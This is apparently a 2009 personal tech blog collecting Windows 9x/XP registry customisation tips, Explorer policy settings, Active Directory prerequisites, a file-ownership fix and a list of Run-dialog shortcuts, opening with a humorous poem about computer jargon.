A CD was a bank account

And if you had a 3 1/2" floppy

You hoped nobody found out

Compress was something you did to the garbage

Not something you did to a file

And if you unzipped anything in public

You'd be in jail for a while

Log on was adding wood to the fire

Hard drive was a long trip on the road

A mouse pad was where a mouse lived

And a backup happened to your commode

Cut you did with a pocket knife

Paste you did with glue

A web was a spider's home

And a virus was the flu

I guess I'll stick to my pad and paper

And the memory in my head

I hear nobody's been killed in a computer crash

But when it happens they wish they were dead! "

Customising ur Pc with registry editing

2009-01-12T11:08:00.003+05:30

Backup / Restore the Registry

To Backup/Restore the Windows Registry:

If you are in MSDOS, at the C:\Windows prompt type
Attrib -s -r -h C:\Windows\System.dat (press Enter)
Attrib -s -r -h C:\Windows\User.dat (press Enter)

To make the backup copies type:

copy C:\Windows\System.dat C:\Windows\System.000 (press Enter)
copy C:\Windows\User.dat C:\Windows\user.000 (press Enter)

To Restore the Registry

copy C:\Windows\System.000 C:\Windows\System.dat (press Enter)
copy C:\Windows\User.000 C:\Windows\user.dat (press Enter)

Add Open With to all files

You can add "Open With..." to the Right click context menu of all files.This is great for when you have several programs you want to open the same file types with. I use three different text editors so I added it to the ".txt" key.

1. Open RegEdit

2. Go to HKEY_CLASSES_ROOT\*\Shell

3. Add a new Key named "OpenWith" by right clicking the "Shell" Key and selecting new

4. Set the (Default) to "Op&en With..."

5. Add a new Key named "Command" by right clicking the "OpenWith" Key and selecting new

6. Set the (Default) to "C:\Windows\rundll32.exe shell32.dll,OpenAs_RunDLL %1", C:\ being your Windows drive. You must enter the "OpenAs_RunDLL %1" exactly this way.

Customize the System Tray

You can add your name or anything you like that consists of 8 characters or less. This will replace the AM or PM next to the system time. But you can corrupt some trial licenses of software that you may have downloaded.

1. Open RegEdit

2. Go to HKEY_CURRENT_USER\Control Panel\International

3. Add two new String values, "s1159" and "s2359"

4. Right click the new value name and modify.

Enter anything you like up to 8 characters.
If you enter two different values when modifying, you can have the system tray display the two different values in the AM and PM.

Lock Out Unwanted Users

Want to keep people from accessing Windows, even as the default user? If you do not have a domain do not attempt this.

1. Open RegEdit

2. Go to HKEY_LOCAL_MACHINE\Network\Logon

3. Create a dword value "MustBeValidated"

4. Set the value to 1 This forced logon can be bypassed in Safe Mode on Windows 9x

Disable the Outlook Express Splash Screen

You can make OutLook Express load quicker by disabling the splash screen:

1. Open RegEdit

2. Go to HKEY_CURRENT_USER\Software\Microsoft\OutLook Express

3. Add a string value "NoSplash"

4. Set the value data to 1 as a Dword value

Multiple Columns For the Start Menu

To make Windows use multiple Start Menu Columns instead of a single scrolling column, like Windows 9x had, Also if you are using Classic Mode in XP

1. Open RegEdit

2. Go to the key HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Advanced

3. Create a string value "StartMenuScrollPrograms"

4. Right click the new string value and select modify

5. Set the value to "FALSE"

Changing Windows' Icons

You can change the Icons Windows uses for folders, the Start Menu, opened and closed folder in the Explorer, and many more.

1. Open RegEdit

2. Go to HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Shell Icons

3. Add a string value for each Icon you wish to change. Example: "3" ="C:\Windows\Icons\MyIcon.ico,0"

This will change the closed folders in the Explorer to "MyIcon.ico". Here is a complete list for each value.

0= Unknown file type

1= MSN file types

2= Applications Generic

3= Closed Folder

4= Open Folder

5= 5.25" Drive

6= 3.25" Drive

7= Removable Drive

8= Hard Drive

9= NetWork Drive

10= Network Drive Offline

11= CD-ROM Drive

12= RAM Drive

13= Entire Network
14= Network Hub

15= My Computer

16= Printer

17= Network Neighborhood

18= Network Workgroup

19= Start Menu's Program Folders

20= Start Menu's Documents

21= Start Menu's Setting

22= Start Menu's Find

23= Start Menu's Help

24= Start Menu's Run

25= Start Menu's Suspend

26= Start Menu's PC Undock

27= Start Menu's Shutdown
28= Shared

29= Shortcut Arrow

30= (Unknown Overlay)

31= Recycle Bin Empty

32= Recycle Bin Full

33= Dial-up Network

34= DeskTop

35= Control Panel

36= Start Menu's Programs

37= Printer Folder

38= Fonts Folder

39= Taskbar Icon

40= Audio CD

You need to reboot after making changes. You may need to delete the hidden file ShellIconCache if after rebooting the desired Icons are not displayed.

Change Default Folder Locations

You can change or delete the Windows mandatory locations of folder like My Documents:

1. Open RegEdit

2. Go to HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Shell Folders

3. Change the desired folder location, My Documents is normally list as "Personal"

4. Open the Explorer and rename or create the folder you wish.

To change the desired location of the Program Files folder

1. Go to HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion

2. Change the value of "ProgramFiles", or "ProgramFilesDir" Now when you install a new program it will default to the new location you have selected.

Change the Registered Change the User Information

You can change the Registered Owner or Registered Organization to anything you want even after Windows is installed.

1) Open RegEdit

2) Got toHKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion.

3) Change the value of "RegisteredOrganization" or "RegisteredOwner", to what ever you want
Opening a DOS Window to either the Drive or Directory in Explorer

Add the following Registry Keys for a Directory:

HKEY_CLASSES_ROOT\Directory\shell\opennew @="Dos Prompt in that Directory"

HKEY_CLASSES_ROOT\Directory\shell\opennew\command @="command.com /k cd %1"

Add or Edit the following Registry Keys for a Drive:

HKEY_CLASSES_ROOT\Drive\shell\opennew @="Dos Prompt in that Drive"
HKEY_CLASSES_ROOT\Drive\shell\opennew\command @="command.com /k cd %1"
These will allow you to right click on either the drive or the directory and the option of starting the dos prompt will pop up.

Changing Exchange/Outlook Mailbox Location
To change the location of your mailbox for Exchange:

1. Open RegEdit

2. Go to HKEY_CURRENT_USER\Software\ Microsoft\Windows Messaging Subsystem\ Profiles

3. Go to the profile you want to change

4. Go to the value name that has the file location for your mailbox (*.PST) file

5. Make the change to file location or name

To change the location of your mailbox for Outlook

1. Open RegEdit

2. Go to HKEY_CURRENT_USER\Software\Microsoft\Outlook (or Outlook Express if Outlook Express)

3. Go to the section "Store Root"

4. Make the change to file location

Add/Remove Sound Events from Control Panel

You can Add and delete sounds events in the Control Panel. In order to do that:

1. Open RegEdit

2. Go to HKEY_CURRENT_USER\AppEvents\Schemes\Apps and HKEY_CURRENT_USER\AppEvents\Schemes\Eventlabels. If this key does not exist you can create it and add events.

3. You can add/delete any items you want to or delete the ones you no longer want.

Adding an Application to the Right Click on Every Folder

Here is how to add any application to the Context Menu when you right click on any Folder. This way you do not have to always go to the Start Menu. When you right click on any folder, you can have access to that application, the same as using Sent To.

1. Open RegEdit

2. Go to HKEY_CLASSES_ROOT\Folder\shell

3. Add a new Key to the "Shell" Key and name it anything you like.

4. Give it a default value that will appear when you right click a folder, i.e. NewKey (use an "&" without the quotes, in front of any character and it will allow you to use the keyboard)

5. Click on the Key HKEY_CLASSES_ROOT\Folder\shell\NewKey

6. Add a New Key named Command

7. Set the (Default) value of the application you want to run

8. For example: c:\program files\internet explorer\iexplore.exe (Include the full path and parameters if you need them)

Adding Explore From Here to Every Folder

When you want to right click on any folder and want to open up an Explorer window of that folder.

1. Open RegEdit

2. Go to HKEY_CLASSES_ROOT\Folder\shell

3. Add a new Key "RootExplore " under the "Shell" Key

4. Set the (Default) value to "E&xplore From Here "

5. Right Click the "RootExplore " Key and add a new Key "Command"to the RootExplore

6. Set the (Default) value of Explorer.exe /e,/root,/idlist,%i

Changing the Location of Windows' Installation Files

If you need to change the drive and or path where Windows looks for its installation files:

1.Open RegEdit

2.Go to HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Setup 3.Edit the value next to SourcePath

Creating a Logon Banner

If you want to create a Logon Banner: A message box to appear below your logon on.
1.Open RegEdit

2.Go To For Windows 9x and ME -HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Winlogon

For Windows 2000 XP 2003 Vista - HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Winlogon

3.Create a new String value"LegalNoticeCaption "

4. Enter the Title of the window. What is displayed in the Title Bar.

5. Create a new string value "LegalNoticeText"

6. Enter the text for your message box that will appear even before the Logon window.

Creating a Default File Opener

If you have a un-registered file type and want to view it instead of having to select Open With.

Use Explorer's Right-click and add your program to the right-click options by:

1. Open RegEdit

2. Go to HKEY_CLASSES_ROOT\Unknown\Shell

3. Right click on "Shell" and create a New Key and name it "Open "

4. Create a New Key under the "Open" key you just created and name it "Command"

5. Set the (Default) value to the path and filename of the program you want to use to open the file type

6. For example: C:\Windows\NOTEPAD.EXE %1 You must use the "%1" for this to work.and a space between the exe and the %1

Deleting Registry Keys from the Command Line

There are two ways to delete a key from the Registry from the Command line. At the Windows Command line:

RegEdit /l location of System.dat /R location of User.dat /D Registry key to delete You cannot be in Windows at the time you use this switch.

Or you can create a reg file as such: REGEDIT4

[-HKEY_LOCAL_MACHINE\the key you want to delete] Note the negative sign just behind the[Then at the Command line type:

1. RegEdit C:\Windows\(name of the regfile).

Change/Add Restrictions And Features

If you want to make restrictions to what users can do or use on their computer without having to run Poledit, you can edit the Registry. You can add and delete Windows features in this Key shown below.

Zero is Off and the value 1 is On.

Example: to Save Windows settings add or modify the value name NoSaveSettings to 0, if set to1 Windows will not save settings. And NoDeletePrinter set to 1 will prevent the user from deleting a printer.

The same key shows up at:

HKEY_USERS\(yourprofilename)\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer

so change it there also if you are using different profiles.

1.Open RegEdit

2.Go to HKEY_CURRENT_USER\Software\Microsoft\ CurrentVersion\ Policies

3.Go to the Explorer Key (Additional keys that can be created under Policies are System, Explorer, Network and WinOldApp )

4.You can then add DWORD or binary values set to 1 in the appropriate keys for ON and 0 for off.

NoDeletePrinter -

Disables Deletion of Printers NoAddPrinter -

Disables Addition of Printers NoRun -

Disables Run Command NoSetFolders -

Removes Folders from Settings on Start Menu NoSetTaskbar -

Removes Taskbar from Settings on Start Menu NoFind -

Removes the Find Command NoDrives -

Hides Drives in My Computers NoNetHood -

Hides the Network Neighborhood NoDesktop -

Hides all icons on the Desktop NoClose -

Disables Shutdown NoSaveSettings -

Don't save settings on exit DisableRegistryTools -

Disable Registry Editing Tools NoRecentDocsMenu -

Hides the Documents shortcut at the Start button NoRecentDocsHistory-

Clears history of Documents NoFileMenu _

Hides the Files Menu in Explorer NoActiveDesktop -

No Active Desktop NoActiveDesktopChanges-

No changes allowed NoInternetIcon -

No Internet Explorer Icon on the Desktop NoFavoritesMenu -

Hides the Favorites menu NoChangeStartMenu _

Disables changes to the Start Menu NoFolderOptions _

Hides the Folder Options in the Explorer ClearRecentDocsOnExit -

Empty the recent Docs folder on reboot NoLogoff -

Hides the Log Off .... in the Start Menu

And here are a few more you can play with ShowInfoTip NoTrayContextMenu

NoStartMenuSubFolders NoWindowsUpdate NoViewContextMenu EnforceShellExtensionSecurity LinkResolveIgnoreLinkInfo NoDriveTypeAutoRun NoStartBanner NoSetActiveDesktop EditLevel NoNetConnectDisconnect RestrictRun - Disables all exe programs except those listed in the RestrictRun subkey This key has many other available keys, there is one to even hide the taskbar, one to hide the control panel and more. I'm not telling you how, as someone may want to play a trick on you. The policies key has a great deal of control over how and what program can run and how one can access what feature.
In the System key you can enter: NoDispCPL - Disable Display Control Panel NoDispBackgroundPage - Hide Background Page NoDispScrSavPage - Hide Screen Saver Page NoDispAppearancePage - Hide Appearance Page NoDispSettingsPage - Hide Settings Page NoSecCPL - Disable Password Control Panel NoPwdPage - Hide Password Change Page NoAdminPage - Hide Remote Administration Page NoProfilePage - Hide User Profiles Page NoDevMgrPage - Hide Device Manager Page NoConfigPage - Hide Hardware Profiles Page NoFileSysPage - Hide File System Button NoVirtMemPage - Hide Virtual Memory Button
In the Network key you can enter: NoNetSetup - Disable the Network Control Panel NoNetSetupIDPage - Hide Identification Page NoNetSetupSecurityPage - Hide Access Control Page NoFileSharingControl - Disable File Sharing Controls NoPrintSharing - Disable Print Sharing Controls

In the WinOldApp key you can enter: Disabled - Disable MS-DOS Prompt NoRealMode - Disables Single-Mode MS-DOS

Automatic Screen Refresh
When you make changes to your file system and use Explorer, the changes are not usually displayed until you press the F5 key To refresh automatically:

1. Open RegEdit

2. Go toHKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Update

3. Set the value name "UpdateMode" to 1

Disable Password Caching

To disable password caching, which allows for the single Network login and eliminates the secondary Windows logon screen. Either use the same password or:

1. Open RegEdit

2:Go to the keyHKEY_LOCAL_MACHINE\SOFTWARE \Microsoft\ Windows\ CurrentVersion\ Policies\ Network

3. Add a Dword value "DisablePwdCaching" and set the value to 1

Changing the MaxMTU for faster Downloads

There are four Internet settings that can be configured, you can get greater throughput (faster Internet downloads) by modifying a few settings. They are the MaxMTU, MaxMSS and DefaultRcvWindow, and DefaultTTL

1.Open RegEdit

2.Go to HKEY_LOCAL_MACHINE\System\CurrentControlset\ Services\ Class\ net\ 000x (where x is your particular network adapter binding.)

3.Right click on the right panel

4.Select New\String Value and create the value name IPMTU

5.Double click on it and enter then the number you want. The usual change is to 576

6.Similarly, you can add IPMSS and give it a value of 536

(Windows 9X)You can set DefaultRcvWindow, and DefaultTTL by adding these string values to HKEY_LOCAL_MACHINE\ System\ CurrentControlset\ Services\ VXD\ MSTCP Set the DefaultRcvWindow to"5840"and the DefaultTTL to "128"

Note: These settings will slow down your network access speed slightly, but you will probably not even see the difference if you are using a network card. If you are using Direct Cable you should see a sight difference.

Adding Items to the Start Button

To add items when you right-click on the Start Button:

1.Open RegEdit

2.Go to HKEY_CLASSES_ROOT\Directory\Shell

3.Right-click on Shell and select New Key

4.Type in the name of the key and press the Enter key

5.In the Default name that shows in the right hand panel, you can add a title with a "&" character in front of the letter for a shortcut

6.Right-click on the key you just created and create another key under it called command

7.For the value of this command, enter the full path and program you want to execute

8.Now when you right click on the Start Button, your new program will be there.

9.For example, if you want Word to be added, you would add that as the first key, the default in the right panel would be &Word so when you right click on the Start Button, the W would be the Hot Key on your keyboard. The value of the key would be C:\Program Files\Office\Winword\Winword.exe

Remove Open, Explore & Find from Start Button

When you right click on the Start Button, you can select Open, Explore or Find. Open shows your Programs folder. Explore starts the Explorer and allows access to all drives. Find allows you to search and then run programs.

In certain situations you might want to disable this feature.

To remove them:

1.Open RegEdit

2.Go to HKEY_CLASSES_ROOT\Directory\Shell\Find

3.Delete Find

4.Scroll down below Directory to Folder

5.Expand this section under shell

6.Delete Explore and Open Caution: - When you remove Open, you cannot open any folders.

Removing Items from NEW Context Menu

When you right-click on the desktop and select New, or use the File Menu item in the Explore and select New a list of default templates you can open up are listed. To remove items from that list:

1. Open RegEdit

2. Do a Search for the string ShellNew in the HKEY_CLASSES_ROOT Hive

3. Delete the ShellNew command key for the items you want to remove.

Changing Telnet Window

You can view more data if you increase the line count of Telnet. By Default it has a window size of 25 lines. To increase this so you can scroll back and look at a larger number on lines:

1. Open RegEdit

2. Go to HKEY_CURRENT_USER\Software\Microsoft\Telnet 3. Modify the value data of "Rows"

Changing the Tips of the Day

You can edit the Tips of the day in the Registry by going to:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\ CurrentVersion\ explorer\ Tips
Disabling Drives in My Computer

To turn off the display of local or networked drives when you click on My Computer:

1.Open RegEdit

2.Go toHKEY_CURRENT_USER\Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer

3.Add a New DWORD item and name it NoDrives

4.Give it a value of 3FFFFFF

5.Now when you click on My Computer, none of your drives will show.

Changing the caption on the Title Bar

Change the Caption on the Title Bar for OutLook Express or the Internet Explorer: For Outlook Express:

1. Open RegEdit

2. Go toHKEY_CURRENT_USER\Software\Microsoft\OutLook ExpressFor IE5 and up use:HKEY_CURRENT_USER\IDENTITIES \{9DDDACCO-38F2-11D6-93CA-812B1F3493B}\ SOFTWARE\ MICROSOFT\ OUTLOOK EXPRESS\5.0

3. Add a string value "WindowTitle" (no space)

4. Modify the value to what ever you like.
For no splash screen, add a dword value "NoSplash" set to 1The Key {9DDDACCO-38F2-11D6-93CA-812B1F3493B} can be any key you find here. Each user has his own Key number.The Key 5.0 is whatever version of IE you have
For Internet Explorer:

1. Open RegEdit

2. Go to HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main

3. Add a string value "Window Title" (use a space)

4. Modify the value to what ever you like.

Disabling the Right-Click on the Start Button

Normally, when you right button click on the Start button, it allows you to open your programs folder, the Explorer and run Find. In situations where you don't want to allow users to be able to do this in order to secure your computer.

1.Open RegEdit

2.Search for Desktop

3.This should bring you to HKEY_CLASSES_ROOT\Directory

4.Expand this section

5.Under Shell is Find

6.Delete Find

7.Move down a little in the Registry to Folder

8.Expand this section and remove Explore and Open Now when you right click on the Start button, nothing should happen. You can delete only those items that you need. Note: - On Microsoft keyboards, this also disables the Window-E (for Explorer) and Window-F (for Find) keys. See the section on Installation in the RESKIT to see how to do this automatically during an install.

Disabling My Computer
In areas where you are trying to restrict what users can do on the computer, it might be beneficial to disable the ability to click on My Computer and have access to the drives, control panel etc. To disable this:

1.Open RegEdit

2.Search for 20D04FE0-3AEA-1069-A2D8-08002B30309D

3.This should bring you to the HKEY_CLASSES_ROOT\CLSID section

4.Delete the entire section. Now when you click on My Computer, nothing will happen. You might want to export this section to a Registry file before deleting it just in case you want to enable it again. Or you can rename it to 20D0HideMyComputer4FE0-3AEA-1069-A2D8-08002B30309D. You can also hide all the Desktop Icons, see Change/Add restrictions.

Opening Explorer from My Computer

By default, when you click on the My Computer icon, you get a display of all your drives, the Control Panel etc. If you would like to have this open the Explorer:

1. Open RegEdit

2. Go to HKEY_CLASSES_ROOT\CLSID\ {20D04FE0-3AEA-1069-A2D8-08002B30309D}\ Shell

3 . Add a new Key named "Open" if it does not exists by right clicking "Shell" and selecting new. 4. . Add a new Key named "Command" by right clicking "Open" and selecting new

5. Set the (Default) value for the Command Key to "Explorer.exe" or "C:\Windows\Explorer.exe"

Recycle Bin Edits

Fooling with the recycle bin. Why not make the icon context menu act like other icon context menus. Add rename to the menu: HKEY_CLASSES_ROOT\CLSID\ {645FF040-5081-101B-9F08-00AA002F954E}\ ShellFolder "Attributes"=hex:50,01,00,20 Add delete to the menu: HKEY_CLASSES_ROOT\CLSID\ {645FF040-5081-101B-9F08-00AA002F954E}\ ShellFolder "Attributes"=hex:60,01,00,20 Add rename and delete to the menu: HKEY_CLASSES_ROOT\CLSID\ {645FF040-5081-101B-9F08-00AA002F954E} \ShellFolder "Attributes"=hex:70,01,00,20 Restore the recycle bin to Windows defaults including un-deleting the icon after deletion: Restore the icon. HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\ Windows \CurrentVersion\ explorer\Desktop\NameSpace\{645FF040-5081-101B-9F08-00AA002F954E} @="Recycle Bin" Reset Windows defaults. HKEY_CLASSES_ROOT\CLSID\ {645FF040-5081-101B-9F08-00AA002F954E} \ShellFolder "Attributes"=hex:40,01,00,20 Other edits to the recycle bin icon: HKEY_CLASSES_ROOT\CLSID\ {645FF040-5081-101B-9F08-00AA002F954E}\ ShellFolder "Attributes"=hex:40,01,01,20 ... standard shortcut arrow "Attributes"=hex:40,01,02,20 ... a different shortcut arrow "Attributes"=hex:40,01,04,20 ... and still another shortcut arrow "Attributes"=hex:40,01,08,20 ... make it look disabled (like it's been cut)
For Windows XP and 2000 also edit HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ CLSID\ {645FF040-5081-101B-9F08-00AA002F954E} For Windows ME also edit HKEY_CURRENT_USER \Software\ Classes\ CLSID\ {645FF040-5081-101B-9F08-00AA002F954E}

Setting the Minimum Password Length

1.Open RegEdit

2.Go to HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Policies\ Network

3. Now, choose the Edit/New/Binary value command and call the new value MinPwdLen. Press Enter twice and Assign it a value equal to your minimum password length.

Add\delete programs to run every time Windows starts

You can start or stop programs from executing at boot up by adding or deleting them to/from the run Keys in the Registry. Windows loads programs to start in the following order; Program listed in the Local Machine hive, then the Current User hive, then theWin.ini Run= and Load = lines. then finally programs in your Start Up folder.

To add or remove programs in the Registry

1.Open RegEdit

2.Go to the desired Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows \CurrentVersion \Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows \CurrentVersion \RunServices HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows \CurrentVersion \Run HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows \CurrentVersion \RunServices

3. Add a new String Value and name it anything you like

4. For the value data, enter the path and executable for the program you want to run.
By adding the value to the HKEY_CURRENT_USER hive instead allows the program to start only when that user is logged on.

If you add the value to the RunOnce key the program will run once and be removed from the key by Windows.

Removing the Shortcut Icon Arrows
1.Open RegEdit

2.Open the Key HKEY_CLASSES_ROOT

3.Open the Key LNKFILE

4.Delete the value IsShortcut

5.Open the next Key PIFFILE

6.Delete the value IsShortcut

7.Restart the Windows

Turn Off Window Animation

You can shut off the animation displayed when you minimize and maximize Windows.

1. Open RegEdit

2. Go to HKEY_CURRENT_USER\Control panel \Desktop\ WindowMetrics

3. Create a new string value "MinAnimate".

4. Set the value data of 0 for Off or 1 for On

Changing your Modem's Initialization String
1.Open RegEdit

2.Go toHKEY_LOCAL_MACHINE\System\CurrentControlSet \Services \Class \Modem \0000 \Init

3.Change the settings to the new values

Increasing the Modem Timeout
If your modem it is timing out during file transfers or loading Web Pages, you might try increasing the timeout period. To change the Time Out::

1.Open RegEdit

2.Go to HKEY_LOCAL_MACHINE\System\CurrentControlSet\ Services\ Class\ Modem\ XXXX\ Settings Where XXXX is the number of your modem

3. In the right panel and double click on Inactivity Timeout

4.The number of minutes for a timeout should be entered between the brackets. 5.For example, a setting could have S19=<10> to set it to 10 minutes.

Removing Programs from Control Panel's Add/Remove Programs Section
If you uninstalled a program by deleting the files, it may still show up in the Add/Remove programs list in the Control Panel. In order to remove it from the list.

1.Open RegEdit

2.Go to HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Uninstall

3.Delete any programs here. If you have a problem locating the desired program open each key and view the DisplayName value

The Fix for Grayed Out Boxes
The File Types tab in Explorer's View / Options menu lets you edit most of your file types, but certain settings cannot be changed. The default action for a batch file, for instance, runs the batch file instead of opening it via Notepad or Wordpad. Thus, when you double-click on AUTOEXEC.BAT, a DOS window opens, and the file executes. If you want to change this default action and edit a batch file when you double-click on it, however, the File Types tab does not let you do so; the Set Default button for the file type called MS-DOS Batch File is always grayed out.
The button is grayed out because HKEY_CLASSES_ROOT's batfile key contains an EditFlag value entry. Such entries are used throughout the Registry to prevent novice users from altering certain system settings. The binary data in batfile's EditFlag reads d0 04 00 00. If you change this value to 00 00 00 00, you can then change any of the batch file settings. Do not, however, indiscriminately zero out EditFlag; if you do so in a system ProgID such as Drive or AudioCD, it completely disappears from the File Types list. For ProgIDs that are linked to extensions, set all EditFlags to 00 00 00 00. For system ProgIDs, replace EditFlag data with 02 00 00 00.
If you wish to have access to some buttons while leaving others grayed out, you must know the function of each EditFlag bit. The last two bytes of data are always zero, but most bits within the first two bytes have a specific effect:
Byte 1, bit 1: Removes the file type from the master list in the File Types tab (select View / Options under Explorer) if it has an associated extension.
Byte 1, bit 2: Adds the file type to the File Types tab if it does not have an associated extension.
Byte 1, bit 3: Identifies a type with no associated extension.
Byte 1, bit 4: Grays out the Edit button in the File Types tab.
Byte 1, bit 5: Grays out the Remove button in the File Types tab.
Byte 1, bit 6: Grays out the New button in the Edit File Type dialog (select the Edit button in the File Types tab).
Byte 1, bit 7: Grays out the Edit button in the Edit File Type dialog.
Byte 1, bit 8: Grays out the Remove button in the Edit File Type dialog.
Byte 2, bit 1: Prevents you from editing a file type's description in the Edit File Type dialog.
Byte 2, bit 2: Grays out the Change Icon button in the Edit File Type dialog.
Byte 2, bit 3: Grays out the SetDefault button in the Edit File Type dialog.
Byte 2, bit 4: Prevents you from editing an action's description in the Edit Action dialog (select the Edit button in the Edit File Type dialog).
Byte 2, bit 5: Prevents you from editing the command line in the Edit Action dialog.
Byte 2, bit 6: Prevents you from setting DDE (Dynamic Data Exchange) fields in the Edit Action dialog.
The EditFlags value for Drive, for instance, is d2 01 00 00 in Hex (1101 0010 0000 0001 in binary). Bits 2, 5, 7, and 8 are on in byte 1, and bit 1 is on in byte 2. The EditFlag for batfile is d0 04 00 00 in Hex or 1101 0000 0000 0100 in binary. In this case, bits 5, 7, and 8 are on in byte 1, and bit 3 is on in byte 2.
Bits 4, 5, and 6 of byte 2 apply only to actions that are protected. EditFlags with action keys (such as HKEY_CLASSES_ROOT\batfile\shell\open) determine protection. If byte 1, bit 1 of such an EditFlag is 0 (or if there is no EditFlag), then the action is protected. If byte 1, bit 1 is 1, then the action is unprotected.
Protection on system files
To enable protection on system files such as the KnownDLLs list, add the following value;
1. Open RegEdit 2. HKEY_LOCAL_MACHINE\System\CurrentControlSet\ Control\ SessionManager 3. Create the a Dword value and name it "ProtectionMode " 4. Set the Value to1

What do we need in order to successfully install Active Directory on a Windows 2000 or Windows Server 2003 server?

2009-01-12T09:41:00.001+05:30

What do we need in order to successfully install Active Directory on a Windows 2000 or Windows Server 2003 server?

Here is a quick list of what you must have:

An NTFS partition with enough free space

An Administrator's username and password

The correct operating system version

A NIC

Properly configured TCP/IP (IP address, subnet mask and - optional - default gateway)

A network connection (to a hub or to another computer via a crossover cable)

An operational DNS server (which can be installed on the DC itself)

A Domain name that you want to use

The Windows 2000 or Windows Server 2003 CD media (or at least the i386 folder)
Brains (recommended, not required...)

Adding / Removing Items from New Menu

2009-01-10T17:37:00.002+05:30

A. To Add an Item in "New" menu:

1. Open regedit and expand "HKEY_CLASSES_ROOT" key.

2. Now look for the file type which you want to add in "New" menu, e.g. for adding MP3 file type look for .MP3 key.
3. Right-click on it and select "New -> Key" and give it name "ShellNew".
4.In right-side pane, right-click and select "New -> String Value". Give it name "NullFile" and press Enter.
5. Thats it. You'll immediately get the file type entry in "New" menu.

B. To Remove an Item from "New" menu:

1.Open regedit and expand "HKEY_CLASSES_ROOT" key.
2.Now look for the file type which you want to remove from "New" menu, e.g. for removing MP3 file type look for .MP3 key.
3. Expand it and delete the "ShellNew" key.
4. Thats it. The file type will be removed from "New" menu.

Access is Denied Error

2009-01-10T17:32:00.002+05:30

To resolve this issue, you must turn off Simple File Sharing, and then take ownership of the folder:

Turn off Simple File Sharing:
Click Start, and then click My Computer.
On the Tools menu, click Folder Options, and then click the View tab.
Under Advanced Settings, click to clear the Use simple file sharing (Recommended) check box, and then click OK.
Right-click the Folder that you want to take ownership of, and then click Properties.
Click the Security tab, and then click OK on the Security message, if one appears.
Click Advanced, and then click the Owner tab.
In the Name list, click your user name, Administrator if you are logged in as Administrator, or click the Administrators group. If you want to take ownership of the contents of that folder, click to select the Replace owner on subcontainers and objects check box.
Click OK. You may receive the following error message, where Folder is the name of the folder that you want to take ownership of:
"You do not have permission to read the contents of directory Folder. Do you want to replace the directory permissions with permissions granting you Full Control? All permissions will be replaced if you press Yes."
Click Yes.
Click OK, and then reapply the permissions and security settings that you want for the folder and the folder contents.

Not solved the problem feel free to contact me

How to make a folder named Con

2009-01-10T15:33:00.001+05:30

The way ias very easy You can go through following:

Right Click on Desktop and then Select New Then New Folder and press the following key combination. alt+255 (When to be name insertion)

Like Con, many other reserve words are there which we can’t create. They are
PRN - It stands for printer.
AUX - It stands for Auxiliary device.
COM0, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9 - They stands for serial ports.
LPT1, LPT2, PRN - They stands for Parallel ports.
NUL - It stands for Bid Bucket.

Have any query just revert me at attri.pradeepkumar@gmail.com

Changing the Default TTL in wIn XP

2009-01-10T15:12:00.001+05:30

DefaultTTL
DefaultTTL determines the time in seconds and the number of hops a packet lives (every hop reduces it by at least 1). While it does not directly affect speed, a larger value increases the amount of time it takes for a packet to be considered lost, discarded and retransmitted. A value that's too small can cause packets to be unable to reach distant servers at all.

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\ParametersDefaultTTL="64"
(DWORD, recommended setting is 64. Other settings that are widely used are 128 and 32)

You can Change the TTL time by this try it confidently....

Run Command Shortcuts that can be run from run..

2009-01-10T14:34:00.004+05:30

Hi All,

I know there are a lot of people who love using the run (Start > Run) prompt or the command prompt rather than using the mmc control...So here are some quick tips that you can use ... Enjoy...List big, but still i hope it is useful!!

Reason :

I’m always looking for ways to make my job easier. Knowing shortcuts to the commonly used that you use is one of the best ways. Take a look below for your favorites and remember them…

Not only will it save you a ton of time but also make you look more intelligent

Accessibility Controls : access.cpl
Add Hardware Wizard : hdwwiz.cpl
Add/Remove Programs : appwiz.cpl
Administrative Tools : control admintools
Automatic Updates : wuaucpl.cpl
Bluetooth Transfer Wizard : fsquirt
Calculator : calc
Certificate Manager : certmgr.msc
Character Map : charmap
Check Disk Utility : chkdsk
Clipboard Viewer : clipbrd
Command Prompt : cmd
Component Services : dcomcnfg
Computer Management : compmgmt.msc
Date and Time Properties : timedate.cpl
DDE Shares : ddeshare
Device Manager : devmgmt.msc
Direct X Control Panel (If Installed)* : directx.cpl
Direct X Troubleshooter : dxdiag
Disk Cleanup Utility : cleanmgr
Disk Defragment : dfrg.msc
Disk Management : diskmgmt.msc
Disk Partition Manager : diskpart
Display Properties : control desktop
Display Properties : desk.cpl
Display Properties (w/Appearance Tab Preselected) : control color
Dr. Watson System Troubleshooting Utility : drwtsn32
Driver Verifier Utility : verifier
Event Viewer : eventvwr.msc
File Signature Verification Tool : sigverif
Findfast : findfast.cpl
Folders Properties : control folders
Fonts : control fonts
Fonts Folder : fonts
Free Cell Card Game : freecell
Game Controllers : joy.cpl
